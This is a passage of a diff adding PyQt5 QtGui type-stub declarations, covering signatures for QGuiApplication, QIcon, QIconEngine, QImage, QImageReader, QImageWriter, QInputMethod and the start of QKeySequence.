setPositions(self, positions: typing.Iterable[typing.Union[QtCore.QPointF, QtCore.QPoint]]) -> None: ... + def positions(self) -> typing.List[QtCore.QPointF]: ... + def setGlyphIndexes(self, glyphIndexes: typing.Iterable[int]) -> None: ... + def glyphIndexes(self) -> typing.List[int]: ... + def setRawFont(self, rawFont: 'QRawFont') -> None: ... + def rawFont(self) -> 'QRawFont': ... + + +class QGuiApplication(QtCore.QCoreApplication): + + def __init__(self, argv: typing.List[str]) -> None: ... + + @staticmethod + def highDpiScaleFactorRoundingPolicy() -> QtCore.Qt.HighDpiScaleFactorRoundingPolicy: ... + @staticmethod + def setHighDpiScaleFactorRoundingPolicy(policy: QtCore.Qt.HighDpiScaleFactorRoundingPolicy) -> None: ... + def fontChanged(self, font: QFont) -> None: ... + @staticmethod + def screenAt(point: QtCore.QPoint) -> 'QScreen': ... + @staticmethod + def desktopFileName() -> str: ... + @staticmethod + def setDesktopFileName(name: str) -> None: ... + def primaryScreenChanged(self, screen: 'QScreen') -> None: ... + @staticmethod + def setFallbackSessionManagementEnabled(a0: bool) -> None: ... + @staticmethod + def isFallbackSessionManagementEnabled() -> bool: ... + def paletteChanged(self, pal: 'QPalette') -> None: ... + def layoutDirectionChanged(self, direction: QtCore.Qt.LayoutDirection) -> None: ... + def screenRemoved(self, screen: 'QScreen') -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + @staticmethod + def windowIcon() -> 'QIcon': ... + @staticmethod + def setWindowIcon(icon: 'QIcon') -> None: ... + @staticmethod + def sync() -> None: ... + @staticmethod + def applicationState() -> QtCore.Qt.ApplicationState: ... + def isSavingSession(self) -> bool: ... + def sessionKey(self) -> str: ... + def sessionId(self) -> str: ... + def isSessionRestored(self) -> bool: ... + def devicePixelRatio(self) -> float: ... + @staticmethod + def inputMethod() -> 'QInputMethod': ... + @staticmethod + def styleHints() -> 'QStyleHints': ... + @staticmethod + def modalWindow() -> 'QWindow': ... + @staticmethod + def applicationDisplayName() -> str: ... + @staticmethod + def setApplicationDisplayName(name: str) -> None: ... + def applicationDisplayNameChanged(self) -> None: ... + def applicationStateChanged(self, state: QtCore.Qt.ApplicationState) -> None: ... + def focusWindowChanged(self, focusWindow: 'QWindow') -> None: ... + def saveStateRequest(self, sessionManager: 'QSessionManager') -> None: ... + def commitDataRequest(self, sessionManager: 'QSessionManager') -> None: ... + def focusObjectChanged(self, focusObject: QtCore.QObject) -> None: ... + def lastWindowClosed(self) -> None: ... + def screenAdded(self, screen: 'QScreen') -> None: ... + def fontDatabaseChanged(self) -> None: ... + def notify(self, a0: QtCore.QObject, a1: QtCore.QEvent) -> bool: ... + @staticmethod + def exec() -> int: ... + @staticmethod + def exec_() -> int: ... + @staticmethod + def quitOnLastWindowClosed() -> bool: ... + @staticmethod + def setQuitOnLastWindowClosed(quit: bool) -> None: ... + @staticmethod + def desktopSettingsAware() -> bool: ... + @staticmethod + def setDesktopSettingsAware(on: bool) -> None: ... + @staticmethod + def isLeftToRight() -> bool: ... + @staticmethod + def isRightToLeft() -> bool: ... + @staticmethod + def layoutDirection() -> QtCore.Qt.LayoutDirection: ... + @staticmethod + def setLayoutDirection(direction: QtCore.Qt.LayoutDirection) -> None: ... + @staticmethod + def mouseButtons() -> QtCore.Qt.MouseButtons: ... + @staticmethod + def queryKeyboardModifiers() -> QtCore.Qt.KeyboardModifiers: ... + @staticmethod + def keyboardModifiers() -> QtCore.Qt.KeyboardModifiers: ... + @staticmethod + def setPalette(pal: 'QPalette') -> None: ... + @staticmethod + def palette() -> 'QPalette': ... + @staticmethod + def clipboard() -> QClipboard: ... + @staticmethod + def setFont(a0: QFont) -> None: ... + @staticmethod + def font() -> QFont: ... + @staticmethod + def restoreOverrideCursor() -> None: ... + @staticmethod + def changeOverrideCursor(a0: typing.Union[QCursor, QtCore.Qt.CursorShape]) -> None: ... + @staticmethod + def setOverrideCursor(a0: typing.Union[QCursor, QtCore.Qt.CursorShape]) -> None: ... + @staticmethod + def overrideCursor() -> QCursor: ... + @staticmethod + def screens() -> typing.List['QScreen']: ... + @staticmethod + def primaryScreen() -> 'QScreen': ... + @staticmethod + def focusObject() -> QtCore.QObject: ... + @staticmethod + def focusWindow() -> 'QWindow': ... + @staticmethod + def platformName() -> str: ... + @staticmethod + def topLevelAt(pos: QtCore.QPoint) -> 'QWindow': ... + @staticmethod + def topLevelWindows() -> typing.List['QWindow']: ... + @staticmethod + def allWindows() -> typing.List['QWindow']: ... + + +class QIcon(PyQt5.sip.wrapper): + + class State(int): + On = ... # type: QIcon.State + Off = ... # type: QIcon.State + + class Mode(int): + Normal = ... # type: QIcon.Mode + Disabled = ... # type: QIcon.Mode + Active = ... # type: QIcon.Mode + Selected = ... # type: QIcon.Mode + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, pixmap: QPixmap) -> None: ... + @typing.overload + def __init__(self, other: 'QIcon') -> None: ... + @typing.overload + def __init__(self, fileName: str) -> None: ... + @typing.overload + def __init__(self, engine: 'QIconEngine') -> None: ... + @typing.overload + def __init__(self, variant: typing.Any) -> None: ... + + @staticmethod + def setFallbackThemeName(name: str) -> None: ... + @staticmethod + def fallbackThemeName() -> str: ... + @staticmethod + def setFallbackSearchPaths(paths: typing.Iterable[str]) -> None: ... + @staticmethod + def fallbackSearchPaths() -> typing.List[str]: ... + def isMask(self) -> bool: ... + def setIsMask(self, isMask: bool) -> None: ... + def swap(self, other: 'QIcon') -> None: ... + def name(self) -> str: ... + @staticmethod + def setThemeName(path: str) -> None: ... + @staticmethod + def themeName() -> str: ... + @staticmethod + def setThemeSearchPaths(searchpath: typing.Iterable[str]) -> None: ... + @staticmethod + def themeSearchPaths() -> typing.List[str]: ... + @staticmethod + def hasThemeIcon(name: str) -> bool: ... + @typing.overload + @staticmethod + def fromTheme(name: str) -> 'QIcon': ... + @typing.overload + @staticmethod + def fromTheme(name: str, fallback: 'QIcon') -> 'QIcon': ... + def cacheKey(self) -> int: ... + def addFile(self, fileName: str, size: QtCore.QSize = ..., mode: 'QIcon.Mode' = ..., state: 'QIcon.State' = ...) -> None: ... + def addPixmap(self, pixmap: QPixmap, mode: 'QIcon.Mode' = ..., state: 'QIcon.State' = ...) -> None: ... + def isDetached(self) -> bool: ... + def isNull(self) -> bool: ... + @typing.overload + def paint(self, painter: 'QPainter', rect: QtCore.QRect, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] = ..., mode: 'QIcon.Mode' = ..., state: 'QIcon.State' = ...) -> None: ... + @typing.overload + def paint(self, painter: 'QPainter', x: int, y: int, w: int, h: int, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] = ..., mode: 'QIcon.Mode' = ..., state: 'QIcon.State' = ...) -> None: ... + def availableSizes(self, mode: 'QIcon.Mode' = ..., state: 'QIcon.State' = ...) -> typing.List[QtCore.QSize]: ... + @typing.overload + def actualSize(self, size: QtCore.QSize, mode: 'QIcon.Mode' = ..., state: 'QIcon.State' = ...) -> QtCore.QSize: ... + @typing.overload + def actualSize(self, window: 'QWindow', size: QtCore.QSize, mode: 'QIcon.Mode' = ..., state: 'QIcon.State' = ...) -> QtCore.QSize: ... + @typing.overload + def pixmap(self, size: QtCore.QSize, mode: 'QIcon.Mode' = ..., state: 'QIcon.State' = ...) -> QPixmap: ... + @typing.overload + def pixmap(self, w: int, h: int, mode: 'QIcon.Mode' = ..., state: 'QIcon.State' = ...) -> QPixmap: ... + @typing.overload + def pixmap(self, extent: int, mode: 'QIcon.Mode' = ..., state: 'QIcon.State' = ...) -> QPixmap: ... + @typing.overload + def pixmap(self, window: 'QWindow', size: QtCore.QSize, mode: 'QIcon.Mode' = ..., state: 'QIcon.State' = ...) -> QPixmap: ... + + +class QIconEngine(PyQt5.sip.wrapper): + + class IconEngineHook(int): + AvailableSizesHook = ... # type: QIconEngine.IconEngineHook + IconNameHook = ... # type: QIconEngine.IconEngineHook + IsNullHook = ... # type: QIconEngine.IconEngineHook + ScaledPixmapHook = ... # type: QIconEngine.IconEngineHook + + class AvailableSizesArgument(sip.simplewrapper): + + mode = ... # type: QIcon.Mode + sizes = ... # type: typing.Iterable[QtCore.QSize] + state = ... # type: QIcon.State + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QIconEngine.AvailableSizesArgument') -> None: ... + + class ScaledPixmapArgument(sip.simplewrapper): + + mode = ... # type: QIcon.Mode + pixmap = ... # type: QPixmap + scale = ... # type: float + size = ... # type: QtCore.QSize + state = ... # type: QIcon.State + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QIconEngine.ScaledPixmapArgument') -> None: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QIconEngine') -> None: ... + + def scaledPixmap(self, size: QtCore.QSize, mode: QIcon.Mode, state: QIcon.State, scale: float) -> QPixmap: ... + def isNull(self) -> bool: ... + def iconName(self) -> str: ... + def availableSizes(self, mode: QIcon.Mode = ..., state: QIcon.State = ...) -> typing.List[QtCore.QSize]: ... + def write(self, out: QtCore.QDataStream) -> bool: ... + def read(self, in_: QtCore.QDataStream) -> bool: ... + def clone(self) -> 'QIconEngine': ... + def key(self) -> str: ... + def addFile(self, fileName: str, size: QtCore.QSize, mode: QIcon.Mode, state: QIcon.State) -> None: ... + def addPixmap(self, pixmap: QPixmap, mode: QIcon.Mode, state: QIcon.State) -> None: ... + def pixmap(self, size: QtCore.QSize, mode: QIcon.Mode, state: QIcon.State) -> QPixmap: ... + def actualSize(self, size: QtCore.QSize, mode: QIcon.Mode, state: QIcon.State) -> QtCore.QSize: ... + def paint(self, painter: 'QPainter', rect: QtCore.QRect, mode: QIcon.Mode, state: QIcon.State) -> None: ... + + +class QImage(QPaintDevice): + + class Format(int): + Format_Invalid = ... # type: QImage.Format + Format_Mono = ... # type: QImage.Format + Format_MonoLSB = ... # type: QImage.Format + Format_Indexed8 = ... # type: QImage.Format + Format_RGB32 = ... # type: QImage.Format + Format_ARGB32 = ... # type: QImage.Format + Format_ARGB32_Premultiplied = ... # type: QImage.Format + Format_RGB16 = ... # type: QImage.Format + Format_ARGB8565_Premultiplied = ... # type: QImage.Format + Format_RGB666 = ... # type: QImage.Format + Format_ARGB6666_Premultiplied = ... # type: QImage.Format + Format_RGB555 = ... # type: QImage.Format + Format_ARGB8555_Premultiplied = ... # type: QImage.Format + Format_RGB888 = ... # type: QImage.Format + Format_RGB444 = ... # type: QImage.Format + Format_ARGB4444_Premultiplied = ... # type: QImage.Format + Format_RGBX8888 = ... # type: QImage.Format + Format_RGBA8888 = ... # type: QImage.Format + Format_RGBA8888_Premultiplied = ... # type: QImage.Format + Format_BGR30 = ... # type: QImage.Format + Format_A2BGR30_Premultiplied = ... # type: QImage.Format + Format_RGB30 = ... # type: QImage.Format + Format_A2RGB30_Premultiplied = ... # type: QImage.Format + Format_Alpha8 = ... # type: QImage.Format + Format_Grayscale8 = ... # type: QImage.Format + Format_RGBX64 = ... # type: QImage.Format + Format_RGBA64 = ... # type: QImage.Format + Format_RGBA64_Premultiplied = ... # type: QImage.Format + Format_Grayscale16 = ... # type: QImage.Format + Format_BGR888 = ... # type: QImage.Format + + class InvertMode(int): + InvertRgb = ... # type: QImage.InvertMode + InvertRgba = ... # type: QImage.InvertMode + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, size: QtCore.QSize, format: 'QImage.Format') -> None: ... + @typing.overload + def __init__(self, width: int, height: int, format: 'QImage.Format') -> None: ... + @typing.overload + def __init__(self, data: bytes, width: int, height: int, format: 'QImage.Format') -> None: ... + @typing.overload + def __init__(self, data: PyQt5.sip.voidptr, width: int, height: int, format: 'QImage.Format') -> None: ... + @typing.overload + def __init__(self, data: bytes, width: int, height: int, bytesPerLine: int, format: 'QImage.Format') -> None: ... + @typing.overload + def __init__(self, data: PyQt5.sip.voidptr, width: int, height: int, bytesPerLine: int, format: 'QImage.Format') -> None: ... + @typing.overload + def __init__(self, xpm: typing.List[str]) -> None: ... + @typing.overload + def __init__(self, fileName: str, format: typing.Optional[str] = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QImage') -> None: ... + @typing.overload + def __init__(self, variant: typing.Any) -> None: ... + + def applyColorTransform(self, transform: QColorTransform) -> None: ... + def setColorSpace(self, a0: QColorSpace) -> None: ... + def convertToColorSpace(self, a0: QColorSpace) -> None: ... + def convertedToColorSpace(self, a0: QColorSpace) -> 'QImage': ... + def colorSpace(self) -> QColorSpace: ... + def convertTo(self, f: 'QImage.Format', flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> None: ... + def sizeInBytes(self) -> int: ... + def reinterpretAsFormat(self, f: 'QImage.Format') -> bool: ... + @typing.overload + def setPixelColor(self, x: int, y: int, c: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def setPixelColor(self, pt: QtCore.QPoint, c: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def pixelColor(self, x: int, y: int) -> QColor: ... + @typing.overload + def pixelColor(self, pt: QtCore.QPoint) -> QColor: ... + @staticmethod + def toImageFormat(format: 'QPixelFormat') -> 'QImage.Format': ... + @staticmethod + def toPixelFormat(format: 'QImage.Format') -> 'QPixelFormat': ... + def pixelFormat(self) -> 'QPixelFormat': ... + def setDevicePixelRatio(self, scaleFactor: float) -> None: ... + def devicePixelRatio(self) -> float: ... + def swap(self, other: 'QImage') -> None: ... + def bitPlaneCount(self) -> int: ... + def byteCount(self) -> int: ... + def setColorCount(self, a0: int) -> None: ... + def colorCount(self) -> int: ... + def cacheKey(self) -> int: ... + @staticmethod + def trueMatrix(a0: 'QTransform', w: int, h: int) -> 'QTransform': ... + def transformed(self, matrix: 'QTransform', mode: QtCore.Qt.TransformationMode = ...) -> 'QImage': ... + def createMaskFromColor(self, color: int, mode: QtCore.Qt.MaskMode = ...) -> 'QImage': ... + def smoothScaled(self, w: int, h: int) -> 'QImage': ... + def metric(self, metric: QPaintDevice.PaintDeviceMetric) -> int: ... + def setText(self, key: str, value: str) -> None: ... + def text(self, key: str = ...) -> str: ... + def textKeys(self) -> typing.List[str]: ... + def setOffset(self, a0: QtCore.QPoint) -> None: ... + def offset(self) -> QtCore.QPoint: ... + def setDotsPerMeterY(self, a0: int) -> None: ... + def setDotsPerMeterX(self, a0: int) -> None: ... + def dotsPerMeterY(self) -> int: ... + def dotsPerMeterX(self) -> int: ... + def paintEngine(self) -> 'QPaintEngine': ... + @typing.overload + @staticmethod + def fromData(data: bytes, format: typing.Optional[str] = ...) -> 'QImage': ... + @typing.overload + @staticmethod + def fromData(data: typing.Union[QtCore.QByteArray, bytes, bytearray], format: typing.Optional[str] = ...) -> 'QImage': ... + @typing.overload + def save(self, fileName: str, format: typing.Optional[str] = ..., quality: int = ...) -> bool: ... + @typing.overload + def save(self, device: QtCore.QIODevice, format: typing.Optional[str] = ..., quality: int = ...) -> bool: ... + @typing.overload + def loadFromData(self, data: bytes, format: typing.Optional[str] = ...) -> bool: ... + @typing.overload + def loadFromData(self, data: typing.Union[QtCore.QByteArray, bytes, bytearray], format: typing.Optional[str] = ...) -> bool: ... + @typing.overload + def load(self, device: QtCore.QIODevice, format: str) -> bool: ... + @typing.overload + def load(self, fileName: str, format: typing.Optional[str] = ...) -> bool: ... + def invertPixels(self, mode: 'QImage.InvertMode' = ...) -> None: ... + def rgbSwapped(self) -> 'QImage': ... + def mirrored(self, horizontal: bool = ..., vertical: bool = ...) -> 'QImage': ... + def scaledToHeight(self, height: int, mode: QtCore.Qt.TransformationMode = ...) -> 'QImage': ... + def scaledToWidth(self, width: int, mode: QtCore.Qt.TransformationMode = ...) -> 'QImage': ... + @typing.overload + def scaled(self, width: int, height: int, aspectRatioMode: QtCore.Qt.AspectRatioMode = ..., transformMode: QtCore.Qt.TransformationMode = ...) -> 'QImage': ... + @typing.overload + def scaled(self, size: QtCore.QSize, aspectRatioMode: QtCore.Qt.AspectRatioMode = ..., transformMode: QtCore.Qt.TransformationMode = ...) -> 'QImage': ... + def createHeuristicMask(self, clipTight: bool = ...) -> 'QImage': ... + def createAlphaMask(self, flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> 'QImage': ... + def setAlphaChannel(self, alphaChannel: 'QImage') -> None: ... + def hasAlphaChannel(self) -> bool: ... + @typing.overload + def fill(self, color: QtCore.Qt.GlobalColor) -> None: ... + @typing.overload + def fill(self, color: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def fill(self, pixel: int) -> None: ... + def setColorTable(self, colors: typing.Iterable[int]) -> None: ... + def colorTable(self) -> typing.List[int]: ... + @typing.overload + def setPixel(self, pt: QtCore.QPoint, index_or_rgb: int) -> None: ... + @typing.overload + def setPixel(self, x: int, y: int, index_or_rgb: int) -> None: ... + @typing.overload + def pixel(self, pt: QtCore.QPoint) -> int: ... + @typing.overload + def pixel(self, x: int, y: int) -> int: ... + @typing.overload + def pixelIndex(self, pt: QtCore.QPoint) -> int: ... + @typing.overload + def pixelIndex(self, x: int, y: int) -> int: ... + @typing.overload + def valid(self, pt: QtCore.QPoint) -> bool: ... + @typing.overload + def valid(self, x: int, y: int) -> bool: ... + def bytesPerLine(self) -> int: ... + def constScanLine(self, a0: int) -> PyQt5.sip.voidptr: ... + def scanLine(self, a0: int) -> PyQt5.sip.voidptr: ... + def constBits(self) -> PyQt5.sip.voidptr: ... + def bits(self) -> PyQt5.sip.voidptr: ... + def isGrayscale(self) -> bool: ... + def allGray(self) -> bool: ... + def setColor(self, i: int, c: int) -> None: ... + def color(self, i: int) -> int: ... + def depth(self) -> int: ... + def rect(self) -> QtCore.QRect: ... + def size(self) -> QtCore.QSize: ... + def height(self) -> int: ... + def width(self) -> int: ... + @typing.overload + def convertToFormat(self, f: 'QImage.Format', flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> 'QImage': ... + @typing.overload + def convertToFormat(self, f: 'QImage.Format', colorTable: typing.Iterable[int], flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> 'QImage': ... + def format(self) -> 'QImage.Format': ... + @typing.overload + def copy(self, rect: QtCore.QRect = ...) -> 'QImage': ... + @typing.overload + def copy(self, x: int, y: int, w: int, h: int) -> 'QImage': ... + def isDetached(self) -> bool: ... + def detach(self) -> None: ... + def devType(self) -> int: ... + def isNull(self) -> bool: ... + + +class QImageIOHandler(sip.simplewrapper): + + class Transformation(int): + TransformationNone = ... # type: QImageIOHandler.Transformation + TransformationMirror = ... # type: QImageIOHandler.Transformation + TransformationFlip = ... # type: QImageIOHandler.Transformation + TransformationRotate180 = ... # type: QImageIOHandler.Transformation + TransformationRotate90 = ... # type: QImageIOHandler.Transformation + TransformationMirrorAndRotate90 = ... # type: QImageIOHandler.Transformation + TransformationFlipAndRotate90 = ... # type: QImageIOHandler.Transformation + TransformationRotate270 = ... # type: QImageIOHandler.Transformation + + class ImageOption(int): + Size = ... # type: QImageIOHandler.ImageOption + ClipRect = ... # type: QImageIOHandler.ImageOption + Description = ... # type: QImageIOHandler.ImageOption + ScaledClipRect = ... # type: QImageIOHandler.ImageOption + ScaledSize = ... # type: QImageIOHandler.ImageOption + CompressionRatio = ... # type: QImageIOHandler.ImageOption + Gamma = ... # type: QImageIOHandler.ImageOption + Quality = ... # type: QImageIOHandler.ImageOption + Name = ... # type: QImageIOHandler.ImageOption + SubType = ... # type: QImageIOHandler.ImageOption + IncrementalReading = ... # type: QImageIOHandler.ImageOption + Endianness = ... # type: QImageIOHandler.ImageOption + Animation = ... # type: QImageIOHandler.ImageOption + BackgroundColor = ... # type: QImageIOHandler.ImageOption + SupportedSubTypes = ... # type: QImageIOHandler.ImageOption + OptimizedWrite = ... # type: QImageIOHandler.ImageOption + ProgressiveScanWrite = ... # type: QImageIOHandler.ImageOption + ImageTransformation = ... # type: QImageIOHandler.ImageOption + TransformedByDefault = ... # type: QImageIOHandler.ImageOption + + class Transformations(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QImageIOHandler.Transformations', 'QImageIOHandler.Transformation']) -> None: ... + @typing.overload + def __init__(self, a0: 'QImageIOHandler.Transformations') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QImageIOHandler.Transformations': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self) -> None: ... + + def currentImageRect(self) -> QtCore.QRect: ... + def currentImageNumber(self) -> int: ... + def nextImageDelay(self) -> int: ... + def imageCount(self) -> int: ... + def loopCount(self) -> int: ... + def jumpToImage(self, imageNumber: int) -> bool: ... + def jumpToNextImage(self) -> bool: ... + def supportsOption(self, option: 'QImageIOHandler.ImageOption') -> bool: ... + def setOption(self, option: 'QImageIOHandler.ImageOption', value: typing.Any) -> None: ... + def option(self, option: 'QImageIOHandler.ImageOption') -> typing.Any: ... + def write(self, image: QImage) -> bool: ... + def read(self, image: QImage) -> bool: ... + def canRead(self) -> bool: ... + def format(self) -> QtCore.QByteArray: ... + def setFormat(self, format: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def device(self) -> QtCore.QIODevice: ... + def setDevice(self, device: QtCore.QIODevice) -> None: ... + + +class QImageReader(sip.simplewrapper): + + class ImageReaderError(int): + UnknownError = ... # type: QImageReader.ImageReaderError + FileNotFoundError = ... # type: QImageReader.ImageReaderError + DeviceError = ... # type: QImageReader.ImageReaderError + UnsupportedFormatError = ... # type: QImageReader.ImageReaderError + InvalidDataError = ... # type: QImageReader.ImageReaderError + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, device: QtCore.QIODevice, format: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> None: ... + @typing.overload + def __init__(self, fileName: str, format: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> None: ... + + @staticmethod + def imageFormatsForMimeType(mimeType: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> typing.List[QtCore.QByteArray]: ... + def gamma(self) -> float: ... + def setGamma(self, gamma: float) -> None: ... + def autoTransform(self) -> bool: ... + def setAutoTransform(self, enabled: bool) -> None: ... + def transformation(self) -> QImageIOHandler.Transformations: ... + def supportedSubTypes(self) -> typing.List[QtCore.QByteArray]: ... + def subType(self) -> QtCore.QByteArray: ... + @staticmethod + def supportedMimeTypes() -> typing.List[QtCore.QByteArray]: ... + def decideFormatFromContent(self) -> bool: ... + def setDecideFormatFromContent(self, ignored: bool) -> None: ... + def autoDetectImageFormat(self) -> bool: ... + def setAutoDetectImageFormat(self, enabled: bool) -> None: ... + def supportsOption(self, option: QImageIOHandler.ImageOption) -> bool: ... + def quality(self) -> int: ... + def setQuality(self, quality: int) -> None: ... + def supportsAnimation(self) -> bool: ... + def backgroundColor(self) -> QColor: ... + def setBackgroundColor(self, color: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def text(self, key: str) -> str: ... + def textKeys(self) -> typing.List[str]: ... + @staticmethod + def supportedImageFormats() -> typing.List[QtCore.QByteArray]: ... + @typing.overload + @staticmethod + def imageFormat(fileName: str) -> QtCore.QByteArray: ... + @typing.overload + @staticmethod + def imageFormat(device: QtCore.QIODevice) -> QtCore.QByteArray: ... + @typing.overload + def imageFormat(self) -> QImage.Format: ... + def errorString(self) -> str: ... + def error(self) -> 'QImageReader.ImageReaderError': ... + def currentImageRect(self) -> QtCore.QRect: ... + def currentImageNumber(self) -> int: ... + def nextImageDelay(self) -> int: ... + def imageCount(self) -> int: ... + def loopCount(self) -> int: ... + def jumpToImage(self, imageNumber: int) -> bool: ... + def jumpToNextImage(self) -> bool: ... + @typing.overload + def read(self) -> QImage: ... + @typing.overload + def read(self, image: QImage) -> bool: ... + def canRead(self) -> bool: ... + def scaledClipRect(self) -> QtCore.QRect: ... + def setScaledClipRect(self, rect: QtCore.QRect) -> None: ... + def scaledSize(self) -> QtCore.QSize: ... + def setScaledSize(self, size: QtCore.QSize) -> None: ... + def clipRect(self) -> QtCore.QRect: ... + def setClipRect(self, rect: QtCore.QRect) -> None: ... + def size(self) -> QtCore.QSize: ... + def fileName(self) -> str: ... + def setFileName(self, fileName: str) -> None: ... + def device(self) -> QtCore.QIODevice: ... + def setDevice(self, device: QtCore.QIODevice) -> None: ... + def format(self) -> QtCore.QByteArray: ... + def setFormat(self, format: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + + +class QImageWriter(sip.simplewrapper): + + class ImageWriterError(int): + UnknownError = ... # type: QImageWriter.ImageWriterError + DeviceError = ... # type: QImageWriter.ImageWriterError + UnsupportedFormatError = ... # type: QImageWriter.ImageWriterError + InvalidImageError = ... # type: QImageWriter.ImageWriterError + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, device: QtCore.QIODevice, format: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + @typing.overload + def __init__(self, fileName: str, format: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> None: ... + + @staticmethod + def imageFormatsForMimeType(mimeType: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> typing.List[QtCore.QByteArray]: ... + def setTransformation(self, orientation: typing.Union[QImageIOHandler.Transformations, QImageIOHandler.Transformation]) -> None: ... + def transformation(self) -> QImageIOHandler.Transformations: ... + def progressiveScanWrite(self) -> bool: ... + def setProgressiveScanWrite(self, progressive: bool) -> None: ... + def optimizedWrite(self) -> bool: ... + def setOptimizedWrite(self, optimize: bool) -> None: ... + def supportedSubTypes(self) -> typing.List[QtCore.QByteArray]: ... + def subType(self) -> QtCore.QByteArray: ... + def setSubType(self, type: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + @staticmethod + def supportedMimeTypes() -> typing.List[QtCore.QByteArray]: ... + def compression(self) -> int: ... + def setCompression(self, compression: int) -> None: ... + def supportsOption(self, option: QImageIOHandler.ImageOption) -> bool: ... + def setText(self, key: str, text: str) -> None: ... + @staticmethod + def supportedImageFormats() -> typing.List[QtCore.QByteArray]: ... + def errorString(self) -> str: ... + def error(self) -> 'QImageWriter.ImageWriterError': ... + def write(self, image: QImage) -> bool: ... + def canWrite(self) -> bool: ... + def gamma(self) -> float: ... + def setGamma(self, gamma: float) -> None: ... + def quality(self) -> int: ... + def setQuality(self, quality: int) -> None: ... + def fileName(self) -> str: ... + def setFileName(self, fileName: str) -> None: ... + def device(self) -> QtCore.QIODevice: ... + def setDevice(self, device: QtCore.QIODevice) -> None: ... + def format(self) -> QtCore.QByteArray: ... + def setFormat(self, format: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + + +class QInputMethod(QtCore.QObject): + + class Action(int): + Click = ... # type: QInputMethod.Action + ContextMenu = ... # type: QInputMethod.Action + + def inputItemClipRectangleChanged(self) -> None: ... + def anchorRectangleChanged(self) -> None: ... + def inputItemClipRectangle(self) -> QtCore.QRectF: ... + def anchorRectangle(self) -> QtCore.QRectF: ... + def inputDirectionChanged(self, newDirection: QtCore.Qt.LayoutDirection) -> None: ... + def localeChanged(self) -> None: ... + def animatingChanged(self) -> None: ... + def visibleChanged(self) -> None: ... + def keyboardRectangleChanged(self) -> None: ... + def cursorRectangleChanged(self) -> None: ... + def invokeAction(self, a: 'QInputMethod.Action', cursorPosition: int) -> None: ... + def commit(self) -> None: ... + def reset(self) -> None: ... + def update(self, queries: typing.Union[QtCore.Qt.InputMethodQueries, QtCore.Qt.InputMethodQuery]) -> None: ... + def hide(self) -> None: ... + def show(self) -> None: ... + @staticmethod + def queryFocusObject(query: QtCore.Qt.InputMethodQuery, argument: typing.Any) -> typing.Any: ... + def setInputItemRectangle(self, rect: QtCore.QRectF) -> None: ... + def inputItemRectangle(self) -> QtCore.QRectF: ... + def inputDirection(self) -> QtCore.Qt.LayoutDirection: ... + def locale(self) -> QtCore.QLocale: ... + def isAnimating(self) -> bool: ... + def setVisible(self, visible: bool) -> None: ... + def isVisible(self) -> bool: ... + def keyboardRectangle(self) -> QtCore.QRectF: ... + def cursorRectangle(self) -> QtCore.QRectF: ... + def setInputItemTransform(self, transform: 'QTransform') -> None: ... + def inputItemTransform(self) -> 'QTransform': ... + + +class QKeySequence(sip.simplewrapper): + + class StandardKey(int): + UnknownKey = ... # type: QKeySequence.StandardKey + HelpContents = ... # type: QKeySequence.StandardKey + WhatsThis = ... # type: QKeySequence.StandardKey + Open = ... # type: QKeySequence.StandardKey + Close = ... # type: QKeySequence.StandardKey + Save = ... # type: QKeySequence.StandardKey + New = ... # type: QKeySequence.StandardKey + Delete = ... # type: QKeySequence.StandardKey + Cut = ... # type: QKeySequence.StandardKey + Copy = ... # type: QKeySequence.StandardKey + Paste = ... # type: QKeySequence.StandardKey + Undo = ... # type: QKeySequence.StandardKey + Redo = ... # type: QKeySequence.StandardKey + Back = ... # type: QKeySequence.StandardKey + Forward = ... # type: QKeySequence.StandardKey + Refresh = ... # type: QKeySequence.StandardKey + ZoomIn = ... # type: QKeySequence.StandardKey + ZoomOut = ... # type: QKeySequence.StandardKey + Print = ... # type: QKeySequence.StandardKey + AddTab = ... # type: QKeySequence.StandardKey + NextChild = ... # type: QKeySequence.StandardKey + PreviousChild = ... # type: QKeySequence.StandardKey + Find = ... # type: QKeySequence.StandardKey + FindNext = ... # type: QKeySequence.StandardKey + FindPrevious = ... # type: QKeySequence.StandardKey + Replace = ... # type: QKeySequence.StandardKey + SelectAll = ... # type: QKeySequence.StandardKey + Bold = ... # type: QKeySequence.StandardKey + Italic = ... # type: 